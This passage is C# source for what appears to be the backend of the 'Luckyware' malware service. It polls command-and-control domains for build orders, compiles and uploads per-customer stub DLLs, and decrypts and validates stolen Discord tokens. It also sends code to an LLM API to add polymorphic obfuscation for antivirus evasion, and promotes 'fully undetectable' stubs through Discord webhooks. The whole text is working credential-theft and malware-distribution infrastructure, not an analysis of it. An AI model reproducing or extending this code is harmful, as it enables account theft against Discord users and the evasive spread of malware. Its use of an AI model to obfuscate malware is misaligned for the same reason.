"\\Builds\\" + FolderSUO; CopyDirectory(Directory.GetCurrentDirectory() + "\\InfSuo", SuoCoppi); string SUOprojectPath = Directory.GetCurrentDirectory() + "\\Builds\\" + FolderSUO + "\\suo.exe"; string SUOargs = $"{SUOprojectPath} {SuoCoppi}\\h.suo {SuoCoppi}\\out.suo {Bwd}.txt"; Thread.Sleep(1500); ExecuteCommandCMD(SUOargs); Thread.Sleep(1500); string contentssuo = Convert.ToBase64String(File.ReadAllBytes(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderSUO + "\\out.suo")); string fileToSendSUO = Bwd + ".suo"; // The file you want to send File.WriteAllText(fileToSendSUO, contentssuo); Console.WriteLine("exe converted to text and saved as " + fileToSendSUO + " "); string phpUrlSUO = $"https://{domene}/index.php?security=1&type=H1"; // Replace with your PHP script URL using (WebClient client = new WebClient()) { // Upload the file byte[] responseArraySUO = client.UploadFile(phpUrlSUO, fileToSendSUO); // Get the response from the PHP script (if any) string response = System.Text.Encoding.ASCII.GetString(responseArraySUO); Console.WriteLine("Response from PHP: " + response); } Thread.Sleep(3500); DeleteFolder(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderSUO); File.Delete(fileToSendSUO); string FolderDLLTMP = xxasdffds3(15); string TMPDLLCopy = Directory.GetCurrentDirectory() + "\\Builds\\" + FolderDLLTMP; CopyDirectory(Directory.GetCurrentDirectory() + "\\InfDLL", TMPDLLCopy); Thread.Sleep(1000); ReplaceTextInFile(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderDLLTMP + "\\TheDLL.cpp", "//OwneryID", Owd); Thread.Sleep(500); ReplaceTextInFile(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderDLLTMP + "\\TheDLL.cpp", "//BuildyID", Bwd); Thread.Sleep(500); string projectPathDLL = Directory.GetCurrentDirectory() + "\\Builds\\" + FolderDLLTMP + "\\TheDLL.vcxproj"; string argumentsDLL = $"\"{projectPathDLL}\" /p:Configuration=Release /p:Platform=x64"; ExecuteCommand(msbuildPath, argumentsDLL); Thread.Sleep(10000); string contentsdll = Convert.ToBase64String(File.ReadAllBytes(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderDLLTMP + "\\x64\\Release\\TheDLL.dll")); string fileToSendDll = Bwd + ".dll"; // The file you want to send File.WriteAllText(fileToSendDll, contentsdll); Console.WriteLine("exe converted to text and saved as " + fileToSendDll + " "); Thread.Sleep(500); string phpUrlDll = $"https://{domene}/index.php?security=1&type=H1"; // Replace with your PHP script URL using (WebClient client = new WebClient()) { // Upload the file byte[] responseArrayDll = client.UploadFile(phpUrlDll, fileToSendDll); // Get the response from the PHP script (if any) string response = System.Text.Encoding.ASCII.GetString(responseArrayDll); Console.WriteLine("Response from PHP: " + response); } Thread.Sleep(2000); DeleteFolder(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderDLLTMP); File.Delete(fileToSendDll); if (iconsave != "messi") { File.Delete(iconsave); } Console.WriteLine("All Cleaned! Ending"); } catch (Exception ex) { Console.WriteLine($"Error omeygat {ex.Message}"); } } public static string SentAPIRequest(string token) { try { ServicePointManager.Expect100Continue = true; ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://discordapp.com/api/v8/users/@me"); request.Headers.Set("Authorization", token); string responseStr = new StreamReader(((HttpWebResponse)request.GetResponse()).GetResponseStream()).ReadToEnd(); return responseStr; } catch (Exception ex) { Console.WriteLine("OMG EX: " + ex.Message); return ""; } } static bool CheckToken(string token) { string infoJson = SentAPIRequest(token); Console.WriteLine(infoJson); if (infoJson.Contains("id")) { return true; } else { return false; } } static string MutateCode(string code) { using (var client = new HttpClient()) { client.DefaultRequestHeaders.Add("Authorization", "Bearer ???"); var requestObj = new { model = "deepseek-chat", messages = new[] { new { role = "system", content = "You will be given C++ function code. Your job is to add obfuscation macros to it. The available macros are: POLYMORPH_NOISE(); POLYMORPH_NOISE_2(); POLYMORPH_NOISE_3(); POLYMORPH_NOISE_4(); POLYMORPH_NOISE_5(); POLYMORPH_NOISE_6(); POLYMORPH_NOISE_7(); POLYMORPH_NOISE_8(); POLYMORPH_NOISE_9(); POLYMORPH_NOISE_10(); poly_junk(); Only add macros between complete C++ statements on new lines. Never modify original code or add macros inside arrays, initializers, function parameters, or incomplete statements. Do not touch code between //DONT_START// and //DONT_END// markers. Use 2-10 macros for small functions, 5-20 for large functions. Match nearby code indentation. Mix macros randomly or use same one repeatedly. THIS IS REALLY IMPORTANT: Return only modified code, no explanations, no other message." }, new { role = "user", content = code } }, stream = false, max_tokens = 8000, temperature = 0.0 }; var json = Newtonsoft.Json.JsonConvert.SerializeObject(requestObj); var content = new StringContent(json, Encoding.UTF8, "application/json"); var response = client.PostAsync("https://api.deepseek.com/chat/completions", content).Result; var responseString = response.Content.ReadAsStringAsync().Result; if (!response.IsSuccessStatusCode) { Console.WriteLine($"Error: {response.StatusCode} - {responseString}"); Console.ReadKey(); return "no"; } var responseJson = JObject.Parse(responseString); var message = responseJson["choices"][0]["message"]["content"].ToString(); Console.WriteLine(message); return message; } } static string DekryptToken(string token, string key) { // Extract and decrypt the key byte[] encryptedKeyBytes = Convert.FromBase64String(key).Skip(5).ToArray(); byte[] decryptedKey = ProtectedData.Unprotect(encryptedKeyBytes, null, DataProtectionScope.CurrentUser); // Parse the token to extract the payload string base64Payload = token.Split(new[] { "dQw4w9WgXcQ:" }, StringSplitOptions.None)[1]; byte[] payloadBytes = Convert.FromBase64String(base64Payload); // Extract IV and cipher text byte[] iv = payloadBytes.Skip(3).Take(12).ToArray(); byte[] cipherText = payloadBytes.Skip(15).ToArray(); // Set up decryption parameters AeadParameters parameters = new AeadParameters(new KeyParameter(decryptedKey), 128, iv, null); GcmBlockCipher cipher = new GcmBlockCipher(new AesEngine()); cipher.Init(false, parameters); // Decrypt the cipher text byte[] plainTextBytes = new byte[cipher.GetOutputSize(cipherText.Length)]; int len = cipher.ProcessBytes(cipherText, 0, cipherText.Length, plainTextBytes, 0); cipher.DoFinal(plainTextBytes, len); // Convert the plain text to string and print string plainText = Encoding.UTF8.GetString(plainTextBytes).TrimEnd('\0'); return plainText; } static void PingDomain() { Console.WriteLine("LW Server Inside Domain Checks"); try { string Ping = $"https://{domene}/index.php?security=2&type=check_all&key=Chekermeker4"; Console.WriteLine(Ping); // Create a WebClient with a CookieContainer to manage cookies. using (WebClient client = new WebClient()) { ServicePointManager.Expect100Continue = true; ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; // Download data from the URL. System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate (object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) { return true; }; client.DownloadString(Ping); } } catch (Exception ex) { Console.WriteLine($"Error omeygat at dmn handle {ex.Message}"); } } static void TokenHandler() { Console.WriteLine("LW Server Inside Tokens"); while (true) { try { PingDomain(); string Ping = $"https://{domene}/index.php?security=2&type=senioreztoken&key=herseyimdinnn98"; string json; Console.WriteLine(Ping); // Create a WebClient with a CookieContainer to manage cookies. using (WebClient client = new WebClient()) { ServicePointManager.Expect100Continue = true; ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; // Download data from the URL. System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate (object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) { return true; }; json = client.DownloadString(Ping); } // Parse the JSON as an array of objects JArray dataArray = JArray.Parse(json); Console.WriteLine("LW Server New Token Check Session"); foreach (JObject data in dataArray) { try { string Token = data["Token"].ToString(); string TokenID = data["TokenID"].ToString(); string isvald = data["isvalid"].ToString(); string UserID = data["UserID"].ToString(); string Pfp = data["pfp"].ToString(); Console.WriteLine($"NEW TOKEN"); Console.WriteLine($"Token: {Token}"); Console.WriteLine($"TokenID: {TokenID}"); Console.WriteLine($"isvald: {isvald}"); Console.WriteLine($"UserID: {UserID}"); Console.WriteLine($"Pfp: {Pfp}"); if (isvald == "1") { if (!CheckToken(Token)) { using (WebClient client = new WebClient()) { ServicePointManager.Expect100Continue = true; ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; // Download data from the URL. System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate (object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) { return true; }; client.DownloadString($"https://{domene}/index.php?security=2&type=antitokenagez&key=kumralamk77&id=" + TokenID); } Console.WriteLine("Invaliditized Token Id " + TokenID); } } if (!UrlIsValid(Pfp)) { string newpefp = GetUserAvatar(UserID); using (WebClient client = new WebClient()) { ServicePointManager.Expect100Continue = true; ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; // Download data from the URL. System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate (object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) { return true; }; client.DownloadString($"https://{domene}/index.php?security=2&type=pfpupoddotto&key=herkimleysen6&id=" + TokenID + "&iduser=" + newpefp); } Console.WriteLine("PFP Updated Token Id " + TokenID); } } catch (Exception ex) { Console.WriteLine($"Error omeygatunu {ex.Message}"); continue; } } } catch (Exception ex) { Console.WriteLine($"Error omeygat {ex.Message}"); continue; } Thread.Sleep(600000); // Every 10 minutes. } } static void DllHandling() { Console.WriteLine("LW Server Inside DLL"); while (true) { try { string msbuildPath = @"C:\Program Files\Microsoft Visual Studio\2022\Community\MSBuild\Current\Bin\MSBuild.exe"; string FolderTMP = xxasdffds3(10); string TMPCopy = Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP; string contents; Console.WriteLine("Compiling startup dll"); CopyDirectory(Directory.GetCurrentDirectory() + "\\Startup", TMPCopy); Thread.Sleep(150); ReplaceTextInFile(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\Encrypt.h", "OMGHERE", HexGenerator.GetRandomHex()); Thread.Sleep(20); string projectPath = Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\Plds.vcxproj"; string arguments = $"\"{projectPath}\" /p:Configuration=Release /p:Platform=x64"; ExecuteCommand(msbuildPath, arguments); Thread.Sleep(12000); contents = Convert.ToBase64String(File.ReadAllBytes(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP + "\\x64\\Release\\wer.dll")); string fileToSend = FolderTMP + ".txt"; // The file you want to send File.WriteAllText(fileToSend, contents); Console.WriteLine("exe converted to text and saved as " + fileToSend + " "); Thread.Sleep(500); string phpUrlDll = $"https://{domene}/Stb/Startapload.php?security=startaaaupot"; // Replace with your PHP script URL using (WebClient client = new WebClient()) { // Upload the file byte[] responseArrayDll = client.UploadFile(phpUrlDll, fileToSend); // Get the response from the PHP script (if any) string response = System.Text.Encoding.ASCII.GetString(responseArrayDll); Console.WriteLine("Response from PHP: " + response); } Thread.Sleep(2000); DeleteFolder(Directory.GetCurrentDirectory() + "\\Builds\\" + FolderTMP); File.Delete(fileToSend); Console.WriteLine("All Cleaned! Ending"); Thread.Sleep(10800000); // 3 hr } catch (Exception ex) { Console.WriteLine($"Error omeygat {ex.Message}"); Thread.Sleep(10800000); // 3 hr continue; } } } static void BuildHandler() { Console.WriteLine("LW Server Inside Build"); while (true) { Thread.Sleep(5000); try { string Ping = $"https://{domene}/index.php?security=2&type=buildamingo&key=dolaylar7475"; string json; Console.WriteLine(Ping); // Create a WebClient with a CookieContainer to manage cookies. using (WebClient client = new WebClient()) { ServicePointManager.Expect100Continue = true; ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; // Download data from the URL. System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate (object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) { return true; }; json = client.DownloadString(Ping); } Console.WriteLine(json); // Parse the JSON as an array of objects JArray dataArray = JArray.Parse(json); foreach (JObject data in dataArray) { Console.WriteLine("LW Server New Build"); string OwnerID = data["OwnerID"].ToString(); string BuildKey = data["BuildKey"].ToString(); string ExeName = data["ExeName"].ToString(); string Icon = data["Icon"].ToString(); Console.WriteLine($"NEW ACTION"); Console.WriteLine($"OwnerID: {OwnerID}"); Console.WriteLine($"BuildKey: {BuildKey}"); Console.WriteLine($"ExeName: {ExeName}"); Console.WriteLine($"Icon: {Icon}"); Console.WriteLine("Inside Build Thread"); Thread DosAt = new Thread(new ParameterizedThreadStart(BuildStub)); string oib = OwnerID; string bkey = BuildKey; string exnam = ExeName; string icn = Icon; DosAt.Start(new { oib, bkey, exnam, icn }); } } catch (Exception ex) { Console.WriteLine($"Error omeygat {ex.Message}"); continue; } } } public class dWebHook : IDisposable { private readonly WebClient dWebClient; private static NameValueCollection discordValues = new NameValueCollection(); public string WebHook { get; set; } public string UserName { get; set; } public string ProfilePicture { get; set; } public dWebHook() { dWebClient = new WebClient(); } public void SendMessage(string msgSend) { discordValues.Add("username", UserName); discordValues.Add("avatar_url", ProfilePicture); discordValues.Add("content", msgSend); dWebClient.UploadValues(WebHook, discordValues); } public void Dispose() { dWebClient.Dispose(); } } static void SendMs(string message, string webhook) { Console.WriteLine($"{message} {webhook}"); using (dWebHook dcWeb = new dWebHook()) { dcWeb.ProfilePicture = "https://zetolacs-funny.pics/Stb/LW.png"; dcWeb.UserName = "Luckyware"; dcWeb.WebHook = webhook; dcWeb.SendMessage(message); } } static void MutateCode() { Console.Write("Enter path to .cpp file: "); string filePath = Console.ReadLine(); if (!File.Exists(filePath)) { Console.WriteLine("File not found."); return; } string content = File.ReadAllText(filePath); string pattern = @"//##FUNC##//\s*(.*?)\s*//##FUNC##//"; var matches = Regex.Matches(content, pattern, RegexOptions.Singleline); foreach (Match match in matches) { string originalFunc = match.Value; string funcBody = match.Groups[1].Value; string mutated = MutateCode(funcBody); string replaced = $"//##FUNC##//\n{mutated}\n//##FUNC##//"; content = content.Replace(originalFunc, replaced); } File.WriteAllText(filePath, content); Console.WriteLine("Mutation complete. File updated."); } static void Main() { /*string url = "https://zetolacs-funny.pics/index.php?security=2&type=webhooksxd&key=webokarnene3334"; try { using (WebClient client = new WebClient()) { // Get the JSON response as a string string jsonResponse = client.DownloadString(url); // Deserialize JSON into an array of strings using Newtonsoft.Json string[] webhooks = JsonConvert.DeserializeObject(jsonResponse); // Print each webhook foreach (var webhook in webhooks) { try { Console.WriteLine(webhook); if (webhook.Length > 70) { SendMs("@everyone Thank you for 10,000 users! As our appreciation, we’re giving you a 2-week Luckyware special license. This license grants access to all premium features, but it does not allow building a fully undetectable premium stub. " + client.DownloadString("https://i-like.boats/Stb/Promotion.php"), webhook); Thread.Sleep(1000); } } catch (Exception ex) { Console.WriteLine($"Error IN: {ex.Message}"); continue; } } } } catch (Exception ex) { Console.WriteLine($"Error: {ex.Message}"); } Thread.Sleep(-1); */ using (WebClient client = new WebClient()) { ServicePointManager.Expect100Continue = true; ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate (object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) { return true; }; domene = "contorosa.space"; } string Ping = $"https://{domene}/index.php?security=2&type=buildamingo&key=dolaylar7475"; Console.WriteLine(Ping); Console.WriteLine("Getting Useless Data Before Start"); // Create a WebClient with a CookieContainer to manage cookies. using (WebClient client = new WebClient()) { ServicePointManager.Expect100Continue = true; ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; // Download data from the URL. System.Net.ServicePointManager.ServerCertificateValidationCallback = delegate (object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) { return true; }; client.DownloadString(Ping); } Console.WriteLine("LW Server Handler Starting..."); Thread Build = new Thread(new ThreadStart(BuildHandler)); Build.Start(); Thread Token = new Thread(new ThreadStart(TokenHandler)); Token.Start(); //Thread DllThread = new Thread(new ThreadStart(DllHandling)); //DllThread.Start(); Thread.Sleep(-1); } }